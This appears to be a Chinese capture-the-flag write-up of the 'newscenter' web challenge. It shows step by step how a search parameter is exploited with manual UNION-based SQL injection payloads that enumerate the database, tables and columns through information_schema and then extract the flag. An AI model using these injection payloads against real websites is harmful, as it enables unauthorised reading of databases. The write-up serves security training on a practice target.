攻防世界-web-newscenter

题目描述:打开链接,只有一个搜索框,然后就是一条一条新闻的记录

攻防世界-web-newscenter_第1张图片

开启burpsuite,我们在搜索框中随便输入点什么,然后进行搜索,看下抓到的包

攻防世界-web-newscenter_第2张图片

这里搜索的时候只有一个search参数,查询到的新闻数也变了。这里这里关键渗透点在于这个search参数,而且这种记录一般是存在数据库中的,因此推测这里大概率存在sql注入

1. 思路分析

推测这里存在sql注入,那一般的做法是先确认渗透点,然后确认回显字段,进而利用回显找出数据库名称,表名,字段名,最终查出字段信息。当然,也可以用sqlmap工具,这里为了练习,手动进行相应的操作,就不展示sqlmap了

2. 渗透过程

2.1 首先,我们先确认sql注入点是否存在,构造参数 1' or 1=1 -- 1,发现相比于直接搜索1显示出来的值更全了,因此推测渗透点肯定存在

攻防世界-web-newscenter_第3张图片

攻防世界-web-newscenter_第4张图片

2.2 然后,确认回显字段,构造参数:1' or 1 = 1 union select 1,2,3 -- 1 ,确认查询记录中的第二和第三个字段进行了回显

 攻防世界-web-newscenter_第5张图片

2.3 进一步,确认数据库名称,构造参数:1' or 1 = 1 union select 1,2,database() -- 1

攻防世界-web-newscenter_第6张图片

2.4 然后,确认表名,构造参数:1' or 1 = 1 union select 1,2,table_name from information_schema.tables where table_schema='news'  -- 1

攻防世界-web-newscenter_第7张图片

2.5 拿到表中的字段信息,构造查询语句:1' or 1 = 1 union select 1,2,column_name from information_schema.columns where table_schema='news' and table_name='secret_table'  -- 1

攻防世界-web-newscenter_第8张图片

发现存在两个字段,一个id,一个fl4g

2.6 最后查询出对应的值,构造语句如下:1' or 1 = 1 union select 1,id,fl4g from secret_table  -- 1

攻防世界-web-newscenter_第9张图片查询出flag为 QCTF{sq1_inJec7ion_ezzz}

总结:很基础的一道sql注入题目,展示的sql注入的一般过程以及基本方法,利用or及union操作进行绕过,适合练习

你可能感兴趣的:(安全,web安全)